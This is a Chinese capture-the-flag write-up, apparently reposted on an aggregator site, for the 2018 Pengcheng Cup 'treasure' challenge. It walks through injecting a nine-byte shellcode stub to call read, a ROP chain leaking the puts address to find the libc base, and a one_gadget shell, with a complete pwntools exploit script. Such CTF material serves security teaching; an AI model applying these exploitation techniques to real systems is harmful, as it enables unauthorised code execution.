鹏城杯_2018_treasure

Posted rookle

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了鹏城杯_2018_treasure相关的知识,希望对你有一定的参考价值。

鹏城杯_2018_treasure

首先检查一下保护:

技术图片

IDA分析

技术图片

我们先来看看settreasure()函数

技术图片

申请了两个内存空间,并往sea中复制了shellcode

看看这个shellcode,不知道干嘛的

技术图片

我们再来看看第二个函数

技术图片

读入一个长度小于等于9的shellcode,和我之前做的铁人三项(第五赛区)_2018_seven很像。

构造sys_read注入我们的shellcode

shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)

#sys_read注入以下的ROP
rop = p64(pop_rdi_ret) + p64(elf.got[‘puts‘]) + p64(elf.plt[‘puts‘])+ p64(0x4009BA)#treasure()

之后再来一次ret2one_gadget ,感觉跟第一个函数没啥关系。

from pwn import *
context.log_level = ‘debug‘
context(os=‘linux‘,arch=‘amd64‘)
p = process(‘./2018_treasure‘)
elf = ELF(‘./2018_treasure‘)
libc = ELF(‘/lib/x86_64-linux-gnu/libc-2.27.so‘)
#gdb.attach(p,‘b *0x00400AB6‘)

p.sendlineafter(‘:‘,‘A‘)

shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)
p.sendlineafter(‘start!!!!‘,shellcode)


pop_rdi_ret = 0x0000000000400b83

pause()
rop = p64(pop_rdi_ret) + p64(elf.got[‘puts‘]) + p64(elf.plt[‘puts‘])+ p64(0x4009BA)
p.send(rop)
puts_addr = u64(p.recv(6).ljust(8,‘x00‘))
libc_base = puts_addr - libc.symbols[‘puts‘]
print ‘libc_base: ‘+hex(libc_base)
one = [0x4f322,0x4f2c5,0x10a38c]
one_gadget = libc_base +0x4f322


ret = 0x00000000004006a9

p.sendlineafter(‘:‘,‘A‘)
shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)
p.sendlineafter(‘start!!!!‘,shellcode)
pause()
p.send(p64(ret)+p64(one_gadget))


p.interactive()

以上是关于鹏城杯_2018_treasure的主要内容,如果未能解决你的问题,请参考以下文章

2022鹏城杯

2022鹏城杯web

2022鹏城杯web

POJ_1066_Treasure Hunt_判断线段相交

2018小训—2017_“百度杯”CTF比赛_十月场_Login

2018小训—“百度杯”CTF比赛_九月场_SQLi